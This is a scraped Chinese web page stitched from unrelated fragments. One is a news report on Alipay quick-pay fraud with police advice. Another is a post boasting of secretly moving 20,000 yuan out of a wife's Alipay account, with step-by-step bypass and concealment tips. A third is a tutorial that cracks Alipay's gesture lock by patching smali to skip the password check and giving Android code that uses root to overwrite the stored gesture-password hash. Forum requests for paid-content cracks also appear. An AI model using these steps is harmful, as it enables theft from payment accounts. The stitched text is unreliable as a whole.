求一个能绕开付费通的挂

您好,分享的企鹅
骗子盯上快捷支付 绕开银行卡和密码轻松盗刷
别以为银行卡和密码自己都保管得很好,钱就跑不了,骗子只要略施小计就有可能掏光你的钱。近日,不止一个读者致电本报市民热线5589999,说起离奇的丢钱经历。据警方调查结果,这些钱都是通过支付宝快捷支付“流”到别人口袋里的。民警提醒,网购使用支付宝的确方便,但对骗子来说骗钱可能也更方便了,除了银行卡和密码要保管好,手机号码也要小心看护,特别是收到的“验证码”一定要看清楚验证的是什么。()-()讯 文/记者 朱俊博 制图/郭航A 骗术找人代办信用卡,留给银行的是代办人的电话办卡人要求先存5万元作“财产证明”,结果存款被人用支付宝花光了张女士还没有找到稳定的工作,想自己创业又缺少资金,于是想通过信用卡透支来“借钱”。听说有人专门代办信用卡业务,她就电话联系了对方,说想办一张额度超过2万元的信用卡。对方详细询问了她的一些情况,知道她没有工作,对方告诉张女士:“这样有点难哦,你要先去办一张储蓄卡,然后往里面存5万块钱作为财产证明,银行才肯给你发卡。”张女士找亲友东拼西凑弄来5万元,按照代办人的指示去银行办了一张储蓄卡。在填写办卡人的电话号码时,她根据代办人的要求留下了对方的手机号码。为什么张女士办银行卡,要留别人的电话号码呢?对这个奇怪的要求,对方的解释是:“银行会进行资质审查,电话打给我,我解释起来才不会露陷。”感觉对方说的有理,张女士也就没多想。申请表交了半个月,还没回音,她打电话给代办人,却发现联系不上了。她赶紧去银行查那张储蓄卡,发现存的5万元都没了。明明银行卡和密码都在自己手里,怎么钱就没了呢?张女士查询了资金流向,发现卡里的钱都转到支付卡业务,随后通过支付宝购买了大批容易脱手的物品,不到一天时间就花光了。“好友”说要借卡“收”钱,要了手机验证码卡上的钱款不进反出,原来是骗子盗用朋友微信套来信息通过快捷支付转账和张女士一样,林先生的银行卡和密码也保管得好好的,只不过“好友”想借他的卡接受一笔转账,要了他的手机验证码。结果不仅没有钱转到他的卡上,反而“吸”走了他卡里的余额。林先生说,“好友”是在微信上给他留言的,说有个国外的客户要转账,但自己的银行卡挂失了,所以想让客户把这笔钱先转到林先生的账户上。因为是朋友,而且只是借卡转个账,林先生爽快地报上了卡号。“好友”有了林先生的银行账号,又说要他的身份证号。林先生觉得奇怪,对方解释说是国外银行办理转账业务要求比较严格,再说有了身份证也能避免转错对象。没多久,林先生的手机接到一条短信,显示的是“验证码”。“好友”在微信中告诉他,这也是国外银行的规定,收款人要确认“验证码”后才能转账。林先生虽然有些疑惑,但因为是自己信任的“好友”也就没多想,把这个“验证码”也告诉了对方。林先生的手机开通有银行存款变动通知业务,可是,手机发来的信息,不是账户转入了多少钱,而是提醒账户上的980元存款正被转出。林先生吃了一惊,来不及微信上联系朋友,直接打电话过去询问。“我没有给你发微信借卡转账啊,我的微信号前几天被盗了。”朋友这一句话,让林先生明白被骗了。B 揭秘只要一个“验证码”,你的钱就成了他的验证码发送时明确显示了用途,只要多个心眼认真核查就能避免被骗没有银行卡和密码,骗子是怎么把别人卡里的钱转走的呢?记者尝试了用支付宝快捷支付系统“掏”钱,全过程仅需5分钟。首先,记者用手机注册了支付宝的手机客户端。登录后,窗口跳出来的页面显示输入绑定的银行卡。记者将家人的一张银行卡作为“对象”,输入卡号后,窗口跳出的页面还要求填写持卡人的姓名、身份证号码和手机号码(为银行预留的验证手机号)。记者依次填完后,预留号码的那部手机很快就收到了支付宝客户端发送的一条验证短信。输入验证码,这张银行卡也就被支付宝的快捷支付“收入囊中”了。在快捷支付的业务中,有“卡对卡”转账,记者根据系统提示填上自己的银行卡信息,填上转账金额,输入支付宝转账密码后,不到两分钟这笔钱就到了记者的账上。从开通支付宝功能到完成转账,全过程仅5分钟。记者留意到,发送的验证短信中明确说明了“此验证码用于开通支付宝手机客户端业务”,也就是说,如果是你的手机收到验证码,只要不告诉别人,卡里的钱还是保得住的。支付宝快捷支付的转账金额限定为每笔最高5万元,但并没有限定每日可转账的次数。骗子手上只要有你的银行卡信息和身份证信息,再加上那个验证号码,就可以轻松掏光你卡里的钱。C 防范银行卡不要随意代办验证码别泄露骗子的目的是套取别人的银行卡号和手机验证码,只要绑定就能转账据警方透露,支付宝快捷支付系统成为目前新骗术的“工具”,其中最常出现在“代办银行卡”中。还有一些老套的骗术也用上了这种方式,比如“购车退税”、“生育补贴”等,还有的是盗用QQ或微信号冒充熟人套问信息的。民警提醒,申请信用卡千万别嫌麻烦,一定要本人向银行申请。如果确实需要委托代办,也要核实代办人身份并留下自己的联系电话。“骗子会找各种借口忽悠人,比如说银行会打电话询问核实,很麻烦,他来代你回答比较容易获得通过等。”民警说,这个手机号就是整个诈骗最关键的一环,一旦“失守”就意味着你口袋里的钱成了别人的。同样的,骗子编造的所谓“购车退税”、“生育补贴”等骗术,最终目的也是套取别人的银行卡号和手机验证码。就算没有开通网银,只要能通过验证码“绑定”银行卡,也可以随意转账。习惯网上支付要注意杀毒及时修改密码快捷支付可绕过银行卡密码,收到开通支付业务的验证短信应格外警惕民警说,要捂紧钱袋,除了管好银行卡和密码,还要仔细核实各种手机验证短信,不要把验证码告诉别人。尤其是收到显示开通支付宝业务的验证码,要格外提高警惕,如果有疑问可以与支付宝的客服沟通。习惯网上支付业务的市民,平时要注意防毒杀毒,如果发现支付宝有被入侵的迹象,要及时修改密码。2月底,同安警方破获了一起利用支付宝快捷支付漏洞进行诈骗的案件,这是全市破获的首起同类案件。骗子掌握了何女士的身份信息后,以“购车退税”为由打电话给她,让她提供银行卡号,随后用何女士的名义申请了支付宝账号,又套取了她手机收到的验证码,随即将她的银行卡绑定,通过快捷支付转走了卡内的4万多元。警方在调查中发现,其中的漏洞就在于骗子可以绕过银行卡密码,将受害人的银行卡绑定在支付宝上。“只要有受害者的身份证号码和银行卡号,骗子就能够开通支付宝,再进行诈骗。”民警说。
正文已结束,您可以按alt+4进行评论
相关阅读:
相关搜索:
这几天福建各地的气温骤降,出门简直是要被冻成狗的节奏!煲上养生汤成了这个季节的必备技能…
搜索"myfzqq"收听“福建生活” 收藏到手机慢慢看
性价比保暖神器,13元低到脚底板的价格开团...
看过本文的人还看了
[责任编辑:wydamin014]
关注排行图片排行
Copyright & 1998 - 2014 Tencent. All Rights Reserved十天内免登录
[多图]支付宝找回密码验身份证被指依然可以绕过
之前爆出的漏洞已被支付宝封堵,不过今天的绕过身份证验证问题又被暴露出来,已在日最新版淘宝与最新版支付宝上测试:败家老婆已经突破天际,是时候管教一下了! (
)〃现已从老婆支付宝账号上转出2w,趁现在她还没有发现,睿总发个教程,年终福利送给大家~~图是睿总后来在自己手机上的截图,老婆手机上的使用痕迹已经清理干净。深藏功与名。先打开支付宝,出现了手势密码。但请大家相信睿总这都是浮云,点击“忘记手势密码”“重新登录”点“忘记密码”输入手机号接着把验证码也输入进去身份证号码太长,睿总没记住。不过没关系,不需要使用身份证号码也可以进去。请再次相信睿总回到桌面,打开淘宝的应用程序,进入“我的淘宝”点击“支付宝”去支付宝可直接重设手势密码剩下的大家都懂。再次深藏功与名
大家注意使用陌生转账账号,删掉验证短信,想好“手机被病毒攻陷”了之类的理由,在老婆发现后安慰她“不要自责宝贝~把支付宝里的钱转出到银行卡吧,安全~”脑海此时风平浪静,波澜不惊,目光也因而显得迷离失焦,犹如降生时的懵懂单纯。
本文来源:cnbeta网站
关键词阅读:
跟贴热词:
文明上网,登录发贴
网友评论仅供其表达个人看法,并不表明网易立场。
非车险:   
:      
热门问题:  
:        
:         
热门影院:
数码论坛/博客【MIUI 6】求一个免费下载付费主题的wsm上的模块,求好人发网址_miui吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
【MIUI 6】求一个免费下载付费主题的wsm上的模块,求好人发网址收藏
先有鸿钧后有天,神魔更在仙佛前。 盘古挥斧开天地,鸿蒙初分日月现。 刑天争位丧性命,共工怒触不周山。 东皇太一御万妖,女娲炼石补穹天。 夸父逐日不可及,精卫填海何时完。 神农救世尝百草,燧人取火暖人间。 轩辕神剑斩蚩尤,定海神针镇海天。 仓颉灵心巧造字,嫘祖养蚕抽丝茧。 伏羲八卦称神数,后裔神弓千秋赞。 吴刚伐桂广寒宫,嫦娥奔月为仙丹。 三教共尊封神榜,西岐朝歌刀兵见。 楚王女神巫山会,王母宴帝昆仑山。 庄周梦蝶惹情思,望帝啼血化杜鹃。 幽王烽火戏诸侯,只为红颜一开颜。 老子一气化三清,佛陀舍身入涅盘。 隋侯救蛇得宝珠,卞和献玉躯体残。 神人相配遭天罚,孝子一怒裂山川。 灵石万载育心猿,三界震惊五行乱。 玄奘西行求真经,劫难历尽十四年。 修得正果播天下,万里神州万世传。 地水风火凭造化,六道轮回岂无边。 无限神通非自夸,神魔仙佛实笑谈。 炎黄皆非寻常人,中华岂只五千年.
求发一下啊
要?     ~~原谅我一生放荡不羁爱自由
我过去的故事-IU你还记得那个寂寞的小巷?我还记得现在那个不安的日子,我不能告诉你我爱你你知道吗?在美丽的夜晚过去,当我们是幼稚的我依然爱着你孩子气的人你尝试采取我的一切,你不仁的人是你太害羞说什么?你不喜欢我吗?我仍然无法弄明白如果你听到这首歌曲,请来找我亲爱的,我在等待你没心没肺的人这一夜试图把我的一切,你幼稚的人今夜,明天夜间和夜后我会永远等待
楼主用了吗。,?怎么样
用不了的,会无限重启
现在不会无限重启。我换了主题就不能在换了,要换就重启了
wsm挂mitools和theme              ----------永远相信美好的事情即将发生 Always believe that something wonderful is about to happen
目前都会恢复默认
登录百度帐号我的游戏推荐游戏
后查看最近玩过的游戏
为兴趣而生,贴吧更懂你。或4940人阅读
本文章由 莫灰灰 编写,转载请注明出处。 &
作者:莫灰灰 & &邮箱:&
&&&&&&&& 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物、消费已是人们不可或缺的一个生活习惯了。随着这股浪潮的兴起,安全、便捷的移动支付需求也越来越大。因此,各大互联网公司纷纷推出了其移动支付平台。其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了。就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了。
&&&&&&&& 正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会。因为移动平台刚刚兴起,人们对移动平台的安全认识度还不够。就拿我身边的很多朋友来说,他们一买来手机就开始root,之后卸载预装软件,下载游戏外挂等等。今天,我们就以破解支付宝钱包的手势密码为例,来深入了解下android系统上的一些安全知识,希望能引起人们对移动平台安全的重视。
在此申明:以下文章涉及的代码与分析内容仅供android系统安全知识的学习和交流使用,任何个人或组织不得使用文中提到的技术和代码做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。
MIUI-JHACNBA13.0(已越狱)
支付宝钱包8.1.0.043001版
SQLite Expert
安装完支付宝钱包之后,运行软件,我这里选择淘宝帐号登录,界面如图1所示。
登录之后,设置手势密码,如图2所示。
完成上述两步之后,退出支付宝进程。用腾讯应用宝定位到的安装目录\data\data\com.eg.android.AlipayGphone,查看目录结构如图3所示。
实战开始 - 破解手势密码错误次数限制
看到图3所示的目录结构,猜测databases目录下的*.dB数据库文件就是用来保存上述我们设置的密码的。因此,我们使用应用宝的导出功能将databases目录导出到本地。用SQLite Expert工具打开所有的dB文件,分析发现alipayclient.db数据库中的userinfo表中保存了用户名、输入错误次数、手势密码等详细信息,如图4所示。其中的gestureErrorNum字段应该就是保存了手势密码输入错误的次数了,很明显这里已经被加密了。
使用APK IDE对支付宝的安装包进行解包分析。解包完成之后,搜索setgestureErrorNum字样,结果如图5所示。
经过大致分析,UserInfoDao.smali文件中的addUserInfo函数比较可疑,截取其中一段设置手势密码错误次数的代码如下:
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&()Ljava/lang/S
move-result-object v1 &&
#调用getGestureErrorNum函数获得未加密的错误次数,并保存到v1寄存器
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&getUserId()Ljava/lang/S
move-result-object v2&&&&&
#调用getUserId函数获得user id,并保存到v2寄存器
invoke-static {v2},Lcom/alipay/mobile/security/gesture/util/GesutreContainU-&get8BytesStr(Ljava/lang/S)Ljava/lang/S
move-result-object v2&&&&&
#获取user id的前8个字节,保存到v2寄存器
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/D-&encrypt(Ljava/lang/SLjava/lang/S)Ljava/lang/S
move-result-object v1&&&&&
#以user id的前8字节作为key,调用des加密错误次数字符串,并保存到v1寄存器
invoke-virtual {v0, v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&setGestureErrorNum(Ljava/lang/S)V
#调用setGestureErrorNum函数,将加密的字符串保存
通过对上述代码的分析得知,第一次getGestureErrorNum的调用取出的错误次数应该是未加密的字符串,添加log代码验证,如图6所示。
保存修改的smali文件,重新编译打包,安装完成之后,输入错误的手势密码,log输出数字依次递增。最后一次输入正确的手势密码,错误次数重新归0。LogCat捕捉到的日志如图7所示。
程序分析到这里,我不禁猜测,在错误次数未加密前,把v1寄存器的值设置为字符串“0”是不是就可以骗过支付宝而可以无限次的输入手势密码了呢?于是乎,我又开始了下面的验证,代码如图8所示。
编译打包,重新安装支付宝,输入错误的手势密码,发现5次错误之后程序还是让我们重新登录。看来我们这里设置错误次数已经晚了,于是乎,继续搜索调用addUserInfo函数来加密gestureErrorNum的地方。其中,AlipayPattern.smali文件的settingGestureError函数引起了我的注意。函数代码如下:
.method publicsettingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseALcom/alipay/mobile/framework/service/ext/security/bean/UserII)V
new-instance v0, Ljava/lang/StringB #初始化StringBuilder实例
invoke-direct {v0}, Ljava/lang/StringB-&&init&()V
invoke-virtual {v0, p3}, Ljava/lang/;-&append(I)Ljava/lang/StringB
#p3是一个I类型的整型变量,调用StringBuilder. append赋值
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringB-&toString()Ljava/lang/S
move-result-object v0&&&&& #调用toString函数转换成字符串类型,赋给v0
invoke-virtual {p2, v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&setGestureErrorNum(Ljava/lang/S)V#调用setGestureErrorNum设置未加密的错误次数字符串
invoke-static {},Lcom/alipay/mobile/framework/AlipayA-&getInstance()Lcom/alipay/mobile/framework/AlipayA
move-result-object v0
invoke-static {v0},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbH-&getInstance(Landroid/content/C)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbH
move-result-object v0
invoke-virtual {v0, p2},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbH-&addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserI)Z
#调用SecurityDbHelper.addUserInfo函数加密、更新数据库
return-void
.end method
分析到这里,想必这里才是最原始的设置手势输入错误次数的地方吧,修改p3的值为0,测试代码如图9所示。
继续打包、编译、测试。随意输入错误的手势密码,支付宝始终显示“密码错误,还可以输入5次”字样,如图10。
至此,手势密码中的错误次数限制已经被我们解除了。理论上来说,我们可以使用穷举法来获取支付宝的手势密码。但是,作为一名分分钟几百万上下的大黑阔来说,使用穷举法来获得密码这种方式,显然是在浪费生命和金钱呀。
越战越勇 – 查找关键跳转
对于大黑阔们来说,只破解手势输入错误次数限制显然是不够的。下面我们以手势密码的存储展开来说起。查看alipayclient.db数据库的userinfo表可知,手势密码的存储字段为gesturePwd,搜索getGesturePwd函数得到如图11的结果。
搜索到的结果比较多,根据前面对手势密码错误次数限制的分析,这里可以排除几个文件,例如UserInfoDao.文件,它主要用来保存一些用户态的信息,可暂时跳过。剩下的smali文件,我们一个个分析过来。在这里我想说的一点是,逆向分析确实是很考验一个人耐心和细心的一件事情,一个恍惚就会迷失在浩瀚的汇编代码中,但是等到你找到关键的调用点,分析出核心的算法时,那么心境会豁然开朗,真是有种踏破铁鞋无觅处,得来全不费工夫的感脚。好了,扯远了,下面我们继续。
经过我的仔细分析,e.smali文件最有可能是比较输入密码的地方,双击上面文件的LINE 47行,跳转到的是a函数。由于函数比较长,只贴关键部分,代码如下:
invoke-virtual {p1},Ljava/lang/S-&length()I #取输入字符串的长度
move-result v0&
sget v1,Lcom/alipay/mobile/security/gesture/component/LockV-&MINSELECTED:I
&&&&&&& if-ltv0, v1, :cond_1& #比较字符串长度
:try_start_0
iget-object v0, p0,Lcom/alipay/mobile/security/gesture/component/e;-&a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserI#获取UserInfo对象
invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&getGesturePwd()Ljava/lang/S#调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码
move-result-object v0
invoke-virtual {v0}, Ljava/lang/S-&length()I #取加密过的正确密码的长度
move-result v0
const/16 v1, 0x20
if-le v0, v1, :cond_0 #长度是否小于32
new-instance v0, Ljava/lang/StringB
invoke-direct {v0}, Ljava/lang/StringB-&&init&()V #初始化StringBuilder对象
invoke-virtual {v0, p1}, Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
#将输入的明文手势密码赋值给StringBuilder对象
move-result-object v0&&&&&
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;-&a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserI
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&getUserId()Ljava/lang/S#调用UserInfo的getUserId函数获取user id
move-result-object v1
const-string/jumbo v2, &userInfo&
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/D-&encrypt(Ljava/lang/SLjava/lang/S)Ljava/lang/S#调用des加密函数,以“userInfo”为key,加密user id字符串
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
#将加密好的user id字符串附加到StringBuilder对象上
move-result-object v0
invoke-virtual {v0},Ljava/lang/StringB-&toString()Ljava/lang/S
move-result-object v0
#StringBuilder对象(输入明文手势的密码 + 加密后的user id)转字符串,并赋值给v0寄存器
invoke-static {v0}, L;-&sha1(Ljava/lang/S)Ljava/lang/S
#调用静态的sha1函数,计算出一个hash值
move-result-object v0
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;-&a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserI
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&getGesturePwd()Ljava/lang/S#调用UserInfo的getGesturePwd函数获得加密过的正确密码
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/S-&equals(Ljava/lang/O)Z
#比较输入的密码和正确的密码
move-result v0
if-eqz v0, :cond_1
很显然,上面这个if-eqz是关键,如果比较函数equals返回false,那么跳转到cond_1标签处。cond_1标签处的主要任务就是取当前输入错误的次数,在这个基础上加上1,然后调用settingGestureError函数重新设置错误次数。如果两个字符串相等,那么调用settingGestureError函数把错误次数重新置为0。
下面为了验证我们的猜测,进行如下两步操作:
1、在a函数中加入类似如图12的打印日志代码,这里未全部截图下来,其他地方留给读者自行添加。
2、在if-eqz v0前patch v0,代码如图13所示。
&&&&&&&& 完成上述两步操作之后,保存修改过的smali文件,编译打包,重新安装支付宝钱包客户端,随意输入手势密码。这里引用大魔术师刘谦的一句话,“接下来就是见证奇迹的时刻”。在我们随意输入密码之后,熟悉的支付宝主界面出现在我们眼前,同时LogCat输出日志如图14所示。
日志的组成大致如下:
第一行:用户输入的,还未加密的手势代码;
第二行:保存在数据库中正确的加密后的手势密码;
第三行:未加密的user id;
第四行:采用des加密后的user id;
第五行:拼接用户输入和加密后的user id;
第六行:采用sha1算法计算出来的加密之后的用户输入的手势密码。
&&&&&&&& 通过仔细的分析日志,我们从中可以得出两个结论:
1、真实的手势密码和我们输入的密码是不一样的,但是我们还是进入了支付宝的主界面,证明我们上面第2步中修改的地方非常关键,从而也印证了e.smali文件的a函数确实是比较用户输入和真实密码的关键函数。
2、支付宝是将用户的手势操作转化成对应的数字,然后再做一定的加密处理之后保存到数据库中。比较用户输入的时候,是用相同的加密步骤对用户输入进行加密,再与数据库中保存的密码做比较。数字代码对应如图15所示。
&&&&&&&& 程序分析到这里,我们已经清楚的明白了支付宝手势密码的加密过程和算法,并且通过修改关键跳转的方法,使得我们随意输入手势密码都可以进入支付宝主界面。
仔细思考 – 还原手势密码?
&&&&&&&& 回过头来仔细想想,手势密码的加密流程是这样的,用户输入+user id组成一个字符串,将该字符串经过sha1算法哈希之后得到另一个加密字符串即为手势密码。其中,user id字符串在alipayclient.db数据库的userinfo表中的userId字段已经表明了,正确的手势密码gesturePwd字段也已经有了。虽然sha1算法不可逆,但是在我们的这个实例中,最长输入是9位,最短为4位,我们完全可以通过已知的信息,采用有限的穷举,就能得出正确的手势代码了。相信对于现在的4核乃至8核cpu手机来说,这点计算应该是很轻松的。
&&&&&& 但是,我们难道只能通过穷举来实现暴力破解吗?答案是否定的。其实我们完全可以自己构造一个输入,例如0123,采用和支付宝完全相同的加密流程得到手势密码。然后,通过修改userinfo表的gesturePwd字段内容为上面我们计算出来的手势密码,这样,就能实现随意修改手势密码的目的了。想法有了,下面我们编写代码来验证该方法是否可行。
&&&&&&&& 查看支付宝使用的sha1算法可知,该算法与支付宝的整体功能业务耦合度基本为0,于是我将sha1算法所在的smali文件转换成jar包,然后导入到我的工程中,这样,就可以直接调用和支付宝完全相同的sha1算法了。程序代码如下所示:
protected void onCreate(Bundle savedInstanceState) {
&&&&&&&&&&&&&&&&&& super.onCreate(savedInstanceState);
&&&&&&&&&&&&&&&&&& setContentView(R.layout.activity_main);
&&&&&&&&&&&&&&&&&& setTitle(&支付宝手势密码修改器&);
&&&&&&&& &&&&&&&&
&&&&&&&&&&&&&&&&&& szUerIdString = &&;
&&&&&&&&&&&&&&&&&& tvStatus = (TextView)findViewById(R.id.textStatus);
&&&&&&&&&&&&&&&&&& etEncryptUserid = (EditText)findViewById(R.id.editEncryptUserId);
&&&&&&&&&&&&&&&&&& etDecryptUserid = (EditText)findViewById(R.id.editDecrypUserId);
&&&&&&&&&&&&&&&&&& etMyPwd = (EditText) findViewById(R.id.editMyselfPwd);
&&&&&&&&&&&&&&&&&& btnOK = (Button)findViewById(R.id.btnSetting);
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& if(!RootUtils.hasRootPermission()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&本程序只能在ROOT过的手机上运行!&);
&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& &if(!RootUtils.hasInstalledApp(MainActivity.this, &com.eg.android.AlipayGphone&)){
&&&&&&&&&&&&&&&&&&&&&&&&&&& &tvStatus.setText(&请确认您已经安装了支付宝钱包!&);
&&&&&&&& &&&&&&&&
&&&&&&&& &&&&}
&&&&&&&&&&&&&&&&&& &
&&&&&&&&&&&&&&&&&& String szUserId =getUserId();
&&&&&&&&&&&&&&&&&& if (!szUserId.isEmpty()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&& szUerIdString =szUserId;
&&&&&&&&&&&&&&&&&&&&&&&&&&& etEncryptUserid.setText(szUserId);
&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&读取user id成功,请输入自定义手势密码!&);
&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&& StringszDecryptUserid = decryptUserid(szUserId, &userInfo&);
&&&&&&&&&&&&&&&&&&&&&&&&&&& if(!szDecryptUserid.isEmpty()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& etDecryptUserid.setText(szDecryptUserid);
&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&&&&&& else {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&解密user id失败!&);
&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&& btnOK.setOnClickListener(newOnClickListener() {
&&&&&&&& &&&&&&&&&&& @Override
&&&&&&&& &&&&&&&&&&& public void onClick(View view) {
&&&&&&&& &&&&&&&&&&& &&&&&&&& StringszPwd = etMyPwd.getText().toString();
&&&&&&&& &&&&&&&&&&& &&&&&&&& if(szPwd.isEmpty()) {
&&&&&&&& &&&&&&&&&&& &&&&&&&&&&&&&&&&&& &Toast.makeText(MainActivity.this, &设置的自定义密码不能为空,请重新输入!&, Toast.LENGTH_LONG).show();
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&& &&&&&&&&&&& &&&&&&&& else{
&&&&&&&& &&&&&&&&&&& &&&&&&&&&&&&&&&&&& StringBuildersBuilder = new StringBuilder();
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& sBuilder.append(szPwd);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& sBuilder.append(szUerIdString);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& Stringtmp = sBuilder.toString();
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& Stringsha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& Log.v(TAG,sha1);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(!sha1.isEmpty()) {
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(updateDatabaseGesturePwd(szUerIdString, sha1)) {
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&设置自定义密码成功!&);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& else{
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&设置自定义密码失败!&);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&& &&&&&&&&&&& }
&&&&&&&& &&&&&&&});
&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&& else {
&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&获取user id失败!&);
&&&&&&&&&&&&&&&&&& }
&&&&&&&& }
&&&&&&&& 获取user id和修改手势密码的代码如下:
// 获取加密的user id
&&&&&&&& private String getUserId()
&&&&&&&& {
&&&&&&&&&&&&&&&&&& String szRet = &&;
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& // 修改数据库文件的读写权限
&&&&&&&&&&&&&&&&&& RootUtils.RootCommand(&chmod666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db&);
&&&&&&&&&&&&&&&&&& RootUtils.RootCommand(&chmod666/data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal&);
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& try {
&&&&&&&&&&&&&&&&&&&&&&&&&&& Context context =createPackageContext(&com.eg.android.AlipayGphone&,& Context.CONTEXT_IGNORE_SECURITY);
&&&&&&&&&&&&&&&&&&&&&&&&&&& SQLiteDatabase dB=context.openOrCreateDatabase(&alipayclient.db&, 0, null);
&&&&&&&&&&& Cursor cursor =db.rawQuery(&select * from userinfo&, null);
&&&&&&&&&&& if (cursor.moveToFirst()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& szRet =cursor.getString(USER_ID_INDEX) ;
&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&& db.close();
&&&&&&&&&&&&&&&&&& } catch(NameNotFoundException e1) {
&&&&&&&&&&& e1.printStackTrace();
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& return szR
&&&&&&&& }
&&&&&&&& // 修改手势密码
&&&&&&&& private booleanupdateDatabaseGesturePwd(String szUerId, String szPwd) {
&&&&&&&&&&&&&&&&&& boolean bRet =
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& if (szPwd.isEmpty() ||szUerId.isEmpty()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&& return bR
&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& try {
&&&&&&&&&&&&&&&&&&&&&&&&&&& Context context =createPackageContext(&com.eg.android.AlipayGphone&,& Context.CONTEXT_IGNORE_SECURITY);
&&&&&&&&&&&&&&&&&&&&&&&&&&& SQLiteDatabase dB=context.openOrCreateDatabase(&alipayclient.db&, 0, null);
&&&&&&&&&&&&&&&&&&&&&&&&&&& ContentValues cv =new ContentValues();
&&&&&&&&&&&&&&&&&&&&&&&&&&& cv.put(&gesturePwd&,szPwd);
&&&&&&&&&&&&&&&&&&&&&&&&&&& String[] args ={String.valueOf(szUerId)};
